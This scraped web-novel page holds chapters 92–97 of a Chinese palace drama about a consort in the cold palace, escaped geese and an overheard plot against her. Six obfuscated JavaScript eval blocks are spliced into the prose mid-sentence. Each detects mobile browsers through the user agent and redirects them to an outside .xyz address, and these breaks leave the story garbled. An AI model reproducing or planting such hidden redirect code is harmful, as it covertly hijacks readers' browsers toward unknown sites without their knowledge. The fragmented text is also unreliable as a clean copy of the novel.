贵妃的声音一直都是温温柔柔的,就像是真的细心为王宝林考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485421|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虑。 但满春离开之后,她的脸色一下子就阴郁下去。 这事情闹得这么沸沸扬扬的,定不是冷宫里那位的手笔,一看就是姜妃在推波助澜。 撞吧,都撞一撞这座南墙,最好都一起受个罚,然后便能明白那姜妃在背后做了什么破烂事。 到时候她再说两句好话,替她们求情,就不信这些人不对她感恩戴德。 至于晋姐姐… 贵妃唇角微勾,扬起了一个诡异的弧度,她叫来了一个小太监,在对方耳边耳语几句。 待到那小太监离开,她眼睛里已是一片冷意。 偌大的玉粹宫里只余贵妃一人,她捂着胸口,神色忧伤的喃喃自语:“姐姐,你可莫要怪妹妹心狠,是你先抛弃妹妹的,是你先与那姜青雉为伍的。 明明之前我们才是关系最好的,妹妹也只是想让你变回以前的样子呀。” 话音落下,她又自己嘲讽的笑了起来,不知是在笑她自己,还是在笑晋明鸢。 时间一晃,就到了中秋宫宴的前夜。 姜妃早早的就让人把鹅送到了冷宫,不多不少,正好十只。 这些鹅需要先在冷宫待一晚,等翌日宴席将要开始的时候,那些交了钱的嫔妃就会过来领。 而直到鹅进了冷宫,贺云瑄才知道,原来晋明鸢还真的背着他又把这件事做了。 但现在东西都送来了,卖也卖出去了,他便也没什么阻止的必要了。 只能任命的帮晋明鸢喂这群大鹅。 十只鹅进冷宫的消息动静不小,自然也传到了贺江灈那里。 张公公禀报的时候,还是一脸为难:“陛下,如今晋娘娘越来越荒唐了,这么多鹅留在冷宫,是不是太晃眼了?要不要…” 贺江灈并不知道晋明鸢这些鹅是用来做什么的,瞧这张公公忧愁的模样,他只是摆了摆手:“随她去吧,她买来大抵是要吃的,十只而已,很快她自己就处理了,以后这种小事不用告诉朕。” 第93章 鹅都跑了 鉴于之前的教训。 晋明鸢也知道这些鹅格外的难抓,这次被弄回来之后,她便让人连笼子也一起搬到了冷宫。 并没有再把这些鹅放出来。 翌日天刚蒙蒙亮,一群嫔妃就都迫不及待的来冷宫取鹅了。 虽然知道买鹅的未必只有自己,可真的看到冷宫门口排成排的人时,一众嫔妃也傻了眼。 尤其是徐婕妤和王昭仪。 这两个人是最先来买鹅的,她们也完全不知道,晋明鸢还背着她们把鹅卖给了这么多人。 冷宫的大门一打开,王昭仪就不满道:“晋娘娘,您这是什么意思?明明是我们最先买您的鹅的,你怎么能私底下又卖了那么多出去?” 不说旁的,她们可还等着拿着鹅在宴会上拔得头筹呢,当时江飞就是这么告诉他们的,可现在一晃眼的功夫,晋明鸢竟然把鹅卖给了这么多人,那她们还有什么优势? 晋明鸢道:“怎么就不能了?我也没说只卖给你们呀。” “可那天我们来的时候,明明这里就只有一只鹅了,你哪里来的那么多?”徐婕妤也道。 “那是你们自己认为的,我又没有承诺过,我只有这一只鹅,你们到底还要不要?”晋明鸢道。 后面也有嫔妃急促的催促道:“徐姐姐,王姐姐,你们若是不要就让开,我们还急着要呢。” “对对对,我们主子也说了,这鹅是必须要的,你们若是不要的话,就把这鹅卖给我们主子,我们不介意要两只。” 两个人脸色都很难看,但看着背后那些人一个个争先恐后的模样,却也不愿意被比下去。 还是徐婕妤一咬牙:“要,凭什么不要?把我们的鹅给我们吧。” 这还有不到两个时辰就是宫宴了,鹅也是她们最先定下的,凭什么让给别人? 晋明鸢正要进去给她们拿鹅,人群里又有个小太监催促道:“晋娘娘能不能快点,我们娘娘还等着第一个给陛下献呢。” “催什么催,不懂先来后到吗?明明是我们先买的,就算要献,也是我们先献,让你们娘娘等着吧。”徐婕妤有些不耐烦的道。 看到今日这一幕,她心里就是一阵的晦气。 虽然她没有看到说话的那人是哪个宫里的,但是比她们位分高的这宫里是有数的,安妃不会参与此事,贵妃更不可能拿鹅来博宠。 至于那个姜妃,这些鹅八成就是她弄回来的,她就更不可能在这里掺和了。 这么一排除,那起哄的人,徐婕妤自然就不会放在眼里。 “徐婕妤凭什么这么霸道?这种事本来就是,谁抢到了算谁的,凭什么让我们娘娘排在您后面?”人群里那个小太监又高声吆喝一句,话里明显带着几分煽动人心的意味。 紧接着就有很多人赞同。 “就是,徐姐姐,这种事从来都是各凭本事,可不讲什么,先来后到。” “对对对,晋娘娘,先给我拿,我还等着去见陛下呢。” “凭什么先给你,我们也急,晋娘娘给我。” 原本还井然有序的一群嫔妃,被这么一煽动一个个争先恐后的就要往冷宫里挤。 晋明鸢本来担忧猪或者鸡跑出去,冷宫的门只开了一点,现在被这群人这么一推搡,门直接就被撞了个大开。 这群人争先恐后的就要进来抢鹅,晋明鸢带着芙蕖和柳枝,想拦根本拦不住。 偏今日宫宴上事多,姜妃早早的就过去盯着了,这会儿冷宫也实在人手不够。 贺云瑄也跟着过来想拦,但还没有挤进人群,就被人直接撞倒在地,晋明鸢见状也顾不得鹅了,连忙过来扶贺云瑄。 就在这时,却不知道什么人力气竟这么大,直接撞翻了装鹅的笼子。 铁笼的门打开,一群鹅看到缝隙立刻争先恐后的往外钻。 有的撒丫子乱跑,有的扑扇着翅膀飞,仅是眨眼的功夫,冷宫里就已经乱作一团鹅毛乱飞。 “娘亲,快关门!”贺云瑄站起来,正好看到这一幕,她也顾不得自己手腕上的擦伤,连忙推搡晋明鸢赶紧关门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485422|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晋明鸢也是很快反应过来,当即就朝着门口冲过去,可是已经晚了,几只大鹅像是脱缰的野马一样冲出了宫门。 等到晋明鸢追出去的时候,长长的宫道上,只能看到一片片远去的白影。 想追已经追不上了。 至于冷宫里边,情况也算不得好,逃出铁笼的鹅没了桎梏,个个都像疯了似的,也不怕人,甚至直往人身上乱撞,将几个胆小的嫔妃吓得尖叫连连。 至于这些嫔妃们带来的下人,想要抓鹅,却根本跑不过这些鹅,完全是被这东西耍的团团转。 一晃神的功夫,又有几只鹅赶着母鸡直接冲出了冷宫。 晋明鸢眼见情况不对,正要把冷宫门关上,就在这时,一个小太监拎着一只鹅道:“晋娘娘且慢,我们主子的鹅奴才抓到了,奴才还得去给主子复命呢。” 这些人来拿鹅,都是付了钱的,晋明鸢自然也没有阻拦的道理。 那小太监自己抓了鹅,她便也只能放了对方离开。 至于其他人… 徐婕妤这会儿满脸烦躁:“晋娘娘,现在事情弄成这样,您难道不应该给我们个解释吗?” 晋明鸢也烦:“这难道怪我了?我都说了我给你们,你们自己非要进来抢,来了又抓不住,我还没有怪你们把我的院子弄成这样呢。 还有我的鸡都被你们放跑了,现在没有让你们赔,就已经是我大度了,反正这事儿跟我无关,这鹅就剩这么几只了,你们谁抓了算谁的,抓不住也跟我没关系了。” 想到刚刚跑出去的那几只,晋明鸢已经是一阵头疼了,总觉得接下来肯定会有麻烦找上来,这会儿她根本没心思与这些人纠缠。 而徐婕妤听着晋明鸢的话,也后知后觉的意识到,现下最值得关心的根本就不是这几只鹅花落谁手,而是跑出去的那些会不会给她们带来麻烦? 虽然她们买鹅是要送给陛下的,可现下那些鹅已然不受控制的在宫里乱撞了,若真的跑到宫宴上搅黄了宫宴,她们这些要买鹅的,绝对脱不了关系。 第94章 还是去找陛下吧 徐婕妤再也没有了方才的嚣张,她伸手拉了拉王昭仪的袖子:“王姐姐,这可怎么办?” 一群宫妃这会儿也都冷静了下来,个个都是面如土色。 谁都知道,太后素来对各种宴会看得极重。 若是因为她们想要讨好陛下,弄巧成拙毁了这次宫宴,莫说陛下那里,就是太后也不可能放过她们。 王宝林这会儿已经吓得哭了起来,时不时的拿袖子抽抽噎噎的擦擦眼睛。 王昭仪也是六神无主的模样,这会儿根本就不敢再惦记送鹅的事了。 一群人都是急的团团转,却没有一个能拿主意的。 至于晋明鸢,她现在看到这些人就烦,双手一摊就是一副无所谓的模样:“反正都是你们自己闹的,跟我无关,可别想把我扯进来。 行了,这鹅你们想带走就带走,带不走就赶紧离开这里,别打扰我们。 陪你们折腾了这么久,老娘还没有吃饭呢,饿**。” 徐婕妤怒道:“晋娘娘,您怎么能这么不负责任?就算这事儿是因为我们争抢所致,可您自己不也没有阻拦成功吗?” 晋明鸢说:“那我能怎么办?陛下说了,不许我随便出冷宫,鹅既然是你们放出去的,你们自己就抓回来呗?” “你…” 徐婕妤又想发火,就在这时,贺云瑄走到了晋明鸢身前,他看着徐婕妤,一脸认真的道:“各位娘娘与其在这里推卸责任,倒不如现在赶紧回去召集自己宫里的所有人,把那些鹅抓起来才是正事。 现在离宫宴还有两个时辰,大臣们还没有入宫,陛下和太后娘娘当也在准备,你们现在去行动,完全来得及。” 被贺云瑄这么一提醒,一群人才好似如梦初醒。 王昭仪说:“对对对,眼下最重要的是在陛下和太后发现之前,先把这些鹅抓回来,走,咱们赶紧回去叫人。” 徐婕妤也点了点头,一群人争先恐后的跑出冷宫,急着出去叫人。 伴随着她们离开,冷宫里却依旧不得安宁。 现在院里还有四只鹅没有跑出去,这会儿正发疯似的满园子里乱窜。 晋明鸢环顾一圈,脸色也是一片铁青,这四只鹅没走就算了,她养的那两只小猪崽却不见了踪影。 定是刚才趁乱跑出去了。 那些丢了的鹅,宫妃们都给过她银子,她倒是不怎么心疼。 可那两只猪可是她自己花真金白银弄回来的,她还没有养大呢,就这么丢了,她这心里实在是堵得厉害。 手一伸,她就拉住了柳枝的袖子:“快,你快替我去找姜妹妹,赶紧想办法把我的猪弄回来。” 若是她的小猪崽也被别人抓了去,定然就不会再给她送回来了。 “晋娘娘,这…要不还是算了吧?今日毕竟是中秋宫宴,是大日子,姜妃娘娘那边也忙,您…”柳枝有些不太敢去掺和。 她觉得事已至此,那两只猪如何已经不重要了,现在最关键的是将功补过,赶紧别再折腾了才是正道。 可晋明鸢却完全不这样认为,她推搡柳枝一把:“让你去你就去,赶紧去通知姜妹妹一声,若是你不想去的话,就把衣服借我一下,我自己去把我的猪抓回来。” “娘亲,要不还是算了吧,您根本没出过冷宫,对皇宫也不熟悉,那两只猪跑了就跑了,大不了过两日再让姜姨姨给您弄只来就是。”贺云瑄也劝道。 见晋明鸢神色似是有些动摇,贺云瑄又说:“而且我总觉得今日的事有些不对劲,娘亲你想想,那些嫔妃本来都很有规矩的,今日却忽然直接冲过来抢东西,你难道不觉得是有人故意在背后挑唆吗? 只是刚才情况乱,我们根本没有发现那挑唆的人是谁。 但不管如何,我总觉得事情没那么简单,说不定就是有人故意把那些鹅放出去想要生事的。 我觉得这种情况下,娘亲还是不要出去的好。” “对,小公子说的是,现在只是那些鹅跑出去了,晋娘娘完全可以将责任推出去,反正也是别人找您买鹅,也是别人将鹅放跑的。 可您今日若是出了冷宫,被人发现了,就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490598|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹅的事烧不到您身上,擅至离开冷宫,肯定也会被人诟病的。 这件事说不定就是有人故意算计您,您可不能着了她们的道。”芙蕖抓住机会也连忙劝道。 现在这两个丫鬟对晋明鸢的态度已经完全不同了。 抛去姜妃的关系以外,近日她们也都切切实实地看到了陛下来冷宫见晋娘娘。 而且就算不论旁的,单说晋娘娘养这些东西,陛下明明见了,却没说什么,那就是陛下的默许。 她们本就是被张公公直到这里来的人,之前陛下对冷宫不闻不问,她们心里因为被指到这么个偏僻的地方来不快,便也因此将怨气发在了晋明鸢母子身上。 可现在真真切切地看到了陛下对冷宫这位是不同的,她们又哪里敢再有别的心思? 对晋明鸢便也真诚了许多。 晋明鸢沉默了片刻,芙蕖以为是自己把她说动了,还没来得及松一口气,却听到晋明鸢道:“越是这样,我还偏就要去看看是哪个黑心肝的又算计我,你跟我一起出去,我倒要瞧瞧今日到底怎么回事。” 芙蕖脸色一黑:“晋娘娘,您出去若是被人发现,就是着了她们的道了,这种时候,您越是沉得住气,她们才越慌张,说不定就自己送上门来了,总之现在出去,绝对不是上策。” 亲眼见到陛下对这位是如何的宽容,芙蕖这会儿也不敢硬拦着晋明鸢出冷宫,只能劝。 晋明鸢却道:“我不知道什么上策下策,我只知道她们算计到我头上,我若不赶紧弄清真相,就相当于是任人宰割的羔羊。 我才不要坐以待毙,我…” “晋娘娘说的对,要不这样吧,奴婢带您去见陛下,咱们把事情如实禀告给陛下。” 见实在劝不动,芙蕖干脆话锋一转,与其让晋娘娘到处乱跑,被人抓到把柄,倒不如直接告知陛下。 左右晋娘娘养这些牲畜的事,陛下本就知道,自然也不会因此怪最近娘娘什么。 至于这中间是不是有人从中作梗,故意把那些鹅放出去,陛下自然也会查。 第95章 那个晋氏留不得 晋明鸢这次却格外的好说话。 她没有过多的反驳芙蕖的话,换了一身柳枝的衣服,就跟着芙蕖出了冷宫。 一路上,芙蕖都是心惊胆战的。 一直都怕晋明鸢搞什么幺蛾子。 索性晋明鸢还算听话,除了时不时的问些问题以外,倒也没有什么异样。 芙蕖的心这才终于安定许多。 一路到了紫宸殿,芙蕖叮嘱道:“你先在这儿稍等一会儿,我去找人通报一声。” 她本来就是被张公公指到冷宫去的,之前也是在紫宸殿这边做事,想要寻人帮她通报一声,还是可以做到的。 “去吧去吧,你放心好了,我在这里人生地不熟的,肯定不会乱跑。”晋明鸢摆了摆手道。 芙蕖见她面色诚恳,便也放下心来。 只是她才刚走到紫宸殿门口,回头一瞥,就见原地已经不见了晋明鸢的身影。 芙蕖脸色一变,哪里还想不到自己是被骗了?她正要去找人,正撞上张公公在紫宸殿出来:“芙蕖姑娘,你怎么来了?可是冷宫的那位出了什么事?” 一见芙蕖,张公公也有些紧张。 都这么长时间了,他跟着陛下身边,哪还不知道陛下现在对冷宫那位是如何的在意? 他自然也是不敢再怠慢。 芙蕖又看了一眼晋明鸢方才站的地方,确定再也找不到对方的影子,她自知自己追过去也未必能追到人,只能强做镇定:“奴婢有事要禀报陛下,还请公公帮忙通传一声。” 晋娘娘不知去向也好,还是那些鹅在宫里作乱也好,不管哪一样,眼下最重要的都是先告知陛下。 张公公看到芙蕖眼里的担忧,也意识到了事情的严重性,他赶忙进去通报,很快就将芙蕖迎进了殿。 而在紫宸殿不远处的一个花丛里,晋明鸢不紧不慢的起身,她摘掉了身上沾着的花草,目标很是明确的朝着一个方向而去。 开什么玩笑? 她又没疯,怎么可能跟着芙蕖去见那陛下? 听说她之前确确实实背叛过陛下,她脑子又没问题,做什么上去触人霉头? 比起陛下来,这种事还是找她的好姐妹姜妃最靠谱。 方才晋明鸢已经明里暗里的在芙蕖那里打听过了,姜妃现在定然就在御花园附近的曲悦阁盯着。 芙蕖说,曲悦阁是御花园那一带最宏伟的一个宫殿,很容易就能找到。 至于御花园,刚才她们过来的时候,晋明鸢远远的看到了,对她来说,找过去并不难。 一路上过来,晋明鸢还看到了几个宫人小心翼翼的在找什么,不用说就是忙着抓鹅。 她目标明确,直接就是冲着姜妃去的。 便也没有因为这些驻足。 大抵是各宫都在忙着给中秋宫宴做准备,这会儿御花园里格外冷清,任凭花香馥郁,满目嫣红,却是看不到什么人影。 晋明鸢走在小路上,不知是不是错觉,她总听着旁边假山丛里好似有悉悉索索的声音,就像是有人在交谈什么一样。 隐隐约约的,她好像听到其中有人在说什么“晋氏”“冷宫”之类的话。 晋明鸢一下子就警惕了起来。 这宫里除了她以外,还有没有姓晋的她是不知道,可冷宫里的却只有她一人。 说话的那人明摆着就是在说她。 这个念头一出来,晋明鸢哪还有心思去找什么姜妃?当即立断的就扎进了身边的花丛里,目光正盯着对面不远处的假山。 假山后的两人说的入神,根本就没有注意到晋明鸢的存在。 晋明鸢听到一个有些苍老的女声道:“那晋氏绝对不能留,虽然她现在是失忆了,但是万一哪天真的想起什么… 总之…,这女人必须想办法除掉。” “您又何必这么担心呢?一个冷宫里的女人,无声无息的**,不会有人在意的,以您的本事不是很容易吗?”回话的是一个粗犷的男声,这种声线绝不可能是太监。 至于侍卫,听他那高高在上的语气,也不太像,晋明鸢觉得他大概率是今日来赴宴的哪个朝臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490599|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “近来发生的事你还不知道,皇帝如今对那晋氏忽然又看重了起来,我本想把她调到身边盯着的,哪曾想皇帝竟然用流儿作威胁,就为了不让我动她。”那女声又道,声音里带着些许咬牙切齿的意味,像是很不服气。 片刻之后,还是那道女声:“但那女人之前听到了我们的秘密,绝不能放任着她不管,你可有什么主意?” “这…若是陛下盯着,这事确实不好办,动她事小,惹了陛下注意事大,只是她之前不是背着陛下生了个野种吗?陛下怎么就那么大的心?这是又原谅她了?”那男人疑惑道。 “谁知道他怎么想,当初他执意让那野种姓贺的时候,就很是莫名其妙了,眼下重要的不是这个,我让你过来,是让你想办法解决那女人的。” “这…我有主意了,那女人不是在意她生的那个野种吗,我们不如…” 后面的声音越来越小,已经听得不太真切,晋明鸢的后背却是被冷汗浸湿。 她已经来不及去分析今日自己听到的信息了,此刻满脑子里都是他们要对云瑄动手。 不行! 她得赶紧回去守着云瑄! 绝对不能让云瑄出事。 再不敢耽搁分毫,晋明鸢拔腿就跑。 可她这会儿太慌乱了,已经完全忘了掩饰自己,脚下一滑,正好踩到了一枝枯枝,嘎吱一声声响,在寂静的御花园里格外清晰。 “什么人?”晋明鸢听到那女声厉声质问。 紧接着又是悉悉索索的声音,像是有人要出来。 晋明鸢站起来一半的身子又蹲了下去。 她所在的位置离那假山太近,她若是想跑,未必能跑得掉,尤其是假山背后的那男人,一听就是个武夫,她肯定跑不过一个正值壮年的男人。 比起逃跑来,藏在原地明显更可靠一点儿。 这个念头刚出来,晋明鸢就看到假山之后走出来一个身形健壮的男人,那人目光锐利的四下环顾,好几次,晋明鸢都觉得她的视线有在自己身上定格。 第96章 贵妃娘娘等着奴婢送纸呢 心脏快的几乎要跳出来了。 浑身的血液都好像要凝固了一般,晋明鸢一动也不敢动,但那男人却不知是不是发现了她的存在,竟直接朝着她的方向走来。 跑还是不跑? 花丛茂盛,可以遮住她的身形。 可若是那人再上前几步,一定会透过斑驳的枝叶发现她的。 留在原地未必是上策。 可若是跑,她又真能跑得掉吗? 根本不用动,晋明鸢都能感觉到,她的一双腿已经软了。 她刚才已经听清楚了,这两人的密谋就是冲着她来的,若是真的认出了她在这里,那她就只有死路一条。 不行,她不能折在这里,她的云瑄还小呢,她还想看着云瑄长大呢。 一步,两步,男人离晋明鸢藏身的地方越来越近。 晋明鸢手抓了一把土,她打算赌一把。 只要这个男人到了她面前,她就将土撒出去,然后趁机逃跑,总要有希望的。 哪怕心里已有决议,可是她的心跳却根本没有办法稳住,就连抓着土的手都在发抖。 眼见着男人已经距离她不足五步远,晋明鸢已经盘算着要起身的时候,忽然背后传来了一道清冷的女声:“郑伯伯,别紧张,是我。” 这个声音,晋明鸢一点也不陌生,正是住在她隔壁泠竹苑的安妃。 “安妃娘娘,您怎么会在这里?”那男人当是与安妃很是熟悉,看到她的时候,眼睛里的凌厉都散去了很多,只是疑惑的问了一句。 安妃道:“我方才去福寿宫寻姑母,听下人说姑母来这儿散步了,便想过来陪姑母说说话的。” “原来是这样,安妃娘娘在这里多久了?方才可有听到什么?”那男人又问,话里带着试探之意,像是不相信安妃的话。 晋明鸢刚放松下来些许的手又骤然收紧。 她不知道安妃出现在这里是巧合还是故意替她解围。 眼前这个男人分明不好糊弄,她… “这有什么区别吗?我们本就是一条绳上的,我现在听到什么,好像关系不大吧?还是郑伯伯连我也不愿意相信?”安妃道。 那男人又打量了安妃一眼,很快就露出了几分笑意:“说的哪里话,在我心里,咱们可一直都是一家人,我自然是相信安妃娘娘的。” 他的话意有所指,安妃神色有些许的僵硬,但很快又恢复了平静,她说:“郑伯伯,禾儿可是一直都在努力成为您的家人,您没必要对禾儿这么警惕的。” 男人好像真的因为安妃的话冷静许多,他道:“娘娘误会,成也只是害怕这儿还有旁人,若是只有娘娘,臣自是不会担忧,时候不早了,臣先告退了。” 安妃说:“正好本宫也要去曲悦阁,便与郑伯伯同路吧。” 不知是有意还是无意,安妃临走的时候,目光朝着晋明鸢藏身的草丛望了一眼。 晋明鸢心头又是一凛,连呼吸都放的缓了许多。 索性安妃什么都没有说,一直到两人走了有一会,假山那边也没有任何动静了,晋明鸢才敢起身。 彼时她的手脚都没有了温度,脸色更是一片煞白。 就算没有见到假山后边那个女人的真容,通过安妃的话,她也意识到了那人是太后。 这个宫里,能被安妃称作姑母的就只有太后。 晋明鸢想到了自己刚醒过来时,太后送到冷宫里的那一碗掺了毒的补汤。 当时太后还一口咬定,那汤里的毒是贵妃下的,后面这件事的处理情况她也不甚了解。 但现在她却可以笃定,那补汤里的东西肯定是太后自己做的。 所以… 自己之前失忆,也是因为不小心听到了太后的话吗? 那还真是巧呀,这次又让她听到了。 晋明鸢自己都有些无奈,她也不知道自己是不是和太后犯冲,不然怎么能次次都听到对方的密谋? 刚才惊悚的一幕到现在还在脑海里回荡着。 就差一点,如果安妃没来,说不定她今日就折在这儿了,那上次的情况… 定也不会比这回好到哪里去。 不对!云瑄! 那两人想在云瑄身上下功夫,她得赶紧回去找云瑄。 晋明鸢再不敢耽搁,抬脚就往冷宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504735|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里跑,结果没跑几步,却被人拦了下来,是个她没有见过的宫女。 心一下子又提了起来。 难道自己还是被人发现了吗? 晋明鸢还没想明白个所以然,就听那宫女厉声道:“你哪个宫里的?想偷懒不成?陛下吩咐了,今日不当值的人都得去抓鹅,你别想跑。” 那人说着,就要过来拉晋明鸢。 听到抓鹅,晋明鸢那颗悬着的心又松了些许,她道:“我怎么就不当值了?让开我还有事呢。” “你开什么玩笑,我刚才可看到了,你在花丛那里站着发呆呢,哪有当值的像你这么闲的,我看你就是想偷懒,你哪个宫里的?” 这宫女看模样就是个管事的,态度很是严厉,她一句话,背后的几个宫人就挡在了晋明鸢面前,一副非要带着晋明鸢去抓鹅的架势。 虽然鹅的事也是她搞出来的,但是比起云瑄的性命来,这件事就有些不值得一提了。 晋明鸢一点儿也没心思关心鹅的事。 她道:“谁说我发呆了,我刚才就是在那里干活的,让开,耽误了我的差事你们负责的起吗?” 这几人气势汹汹,晋明鸢也不甘示弱,先将气势摆了出来。 “怎么?你想说你在那里修剪花枝吗?我们李嬷嬷就是这一片的管事嬷嬷,这儿的人她可都认识,你若再推卸责任,耽误了陛下的事,等会儿有你好看。”人群里,一名小宫女颐指气使的道。 晋明鸢满脸的晦气,她倒是没想到自己碰上的这宫女竟然是御花园的管事嬷嬷。 看来没有个交代是说不过去了。 眼珠转了转,对上这群人探究的目光,晋明鸢高声道:“谁说我的差事是修剪花枝?我在这里可是有大事的,你们确定要知道?” “别卖关子。”李嬷嬷说。 晋明鸢手一叉腰,底气更足了:“我们贵妃娘娘在前边出恭呢,这会儿急着让奴婢给她送纸,若是耽搁了贵妃娘娘,你们担待得起吗?” 话音落下,看着这群人错愕的神色,晋明鸢舒心了。 哼,反正贵妃也不是好东西,仗贵妃的势压人,刚刚好。 第97章 贵妃的特殊癖好 几个拦着晋明鸢的宫女,此刻全然是面如酱色。 你看看我,我看看你,谁也说不出一句话来。 开什么玩笑,这可是御花园,可是风雅之地,贵妃能在这儿出恭? 晋明鸢才不管她们在想什么,她不耐烦的道:“既然都知道了,还不让开,难道真想耽误贵妃的大事?” “这…” 几个小宫女忌惮她口中的贵妃,确实不敢再阻拦了,但前面那个李嬷嬷怒道:“你好大的胆子,竟然还敢拿这种不入流的借口来污蔑贵妃!来人,把这个不知死活的贱婢押住,交给贵妃娘娘处置!” 晋明鸢略微一愣,瞧着那几个宫女很快变了脸色,就要朝着自己扑来。 她最后一步,脸上的表情越来越郑重:“喂,你们莫不是疯了吗?我都说了,我要去给贵妃娘娘送纸,你们现在把我拦住,是真不怕耽误了贵妃娘娘吗?” 说话间,她的视线落在了那里嬷嬷身上,这人一开始就表现的这么淡定,莫不是她是贵妃的人? 如果是这样的话,这个理由就唬不过了,她得… “还胡言乱语,且不说贵妃娘娘绝不会做这种荒唐事,就单说你方才的态度就分明有问题,贵妃娘娘的事若是真如此着急,你方才胆敢在那里发呆?”李嬷嬷质问。 晋明鸢当即就听出来她也不是完全笃定贵妃不会做那等荒唐事的,也就是说,自己这理由还能继续用下去。 晋明鸢的底气一下子就回来了,她冷哼一声:“谁说我发呆了?我那是在帮娘娘选能用的叶子,你们这些连娘娘的身都进不了的下人自然不知娘娘的喜好。 反正我已经言尽于此,你们若是实在不信,那就只管押了我去见贵妃娘娘就是,话我已经说到前头了,贵妃娘娘就在前面,若是你们真的撞破了贵妃娘娘的好事,可就跟我无关了。” 反正败坏的不是自己的名声,晋明鸢的话越说越荒唐。 一群人再一次面面相觑,这回就连李嬷嬷都不太敢动弹了。 是呀,若非贵妃真有这种癖好,就算给这下人天大的胆子,也不敢这般拿贵妃娘娘的名声开玩笑啊。 这种不怎么上得了台面的事,贵妃娘娘必然想藏着,若她们真的把这下人绑到了贵妃娘娘面前,那不就是明摆着在说她们撞破了贵妃娘娘的秘密?那娘娘还能饶她们? 几个人再也没有动静,晋明鸢则是越发的自信,甚至还哼着小调与她们擦肩而过。 一直到晋明鸢离开了,这群人还是没法回神。 有个小宫女喃喃道:“李嬷嬷,贵妃难道真有这种癖好,那人不会是骗我们的吧?” “这…”李嬷嬷原本是不愿意相信的,但看晋明鸢那幅成竹于胸的模样,她又觉得也不是没有可能。 她道:“哎呀,这种事谁能说得准呢?算了,不管如何,此事也不能声张,咱们就当没见过刚才那个人好了,可不能让贵妃娘娘知道,咱们发现了她的秘密。” 那小宫女明显不怎么聪明,木木的点了点头,又嘀咕道:“说的也是,咱们这宫里现在越来越奇怪了,陛下都能找人抓鹅,贵妃随地出恭也说得过去。” 李嬷嬷听到这里,脸色一黑,回头用胳膊肘撞了那小宫女一下:“你还敢说出来,是嫌命长不是?还不赶紧去抓鹅?陛下可是说了,宫宴开始时,绝不能有一只鹅留在外面。” 提到正事,一群小宫女们也不敢再耽搁了,纷纷四散去找鹅。 还是那名刚被李嬷嬷训斥了的小宫女,依旧是有些怀疑自我的自言自语:“话又说回来,那叶子能比草纸好用吗?怎么贵妃喜欢那个?” “贵妃喜欢什么?” 背后忽然传来了一个严肃的声音,将那小宫女吓了一跳,她猛的回头,瞳孔一阵收缩,连忙跪了下去:“奴婢参见姜妃娘娘。” 姜妃摆了摆手,示意她起身:“你刚才说贵妃喜欢什么?” “这…”小宫女一脸的为难,想到那毕竟是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504736|170047||http|test|mini|href|location''.split(''|''),0,{})); () { 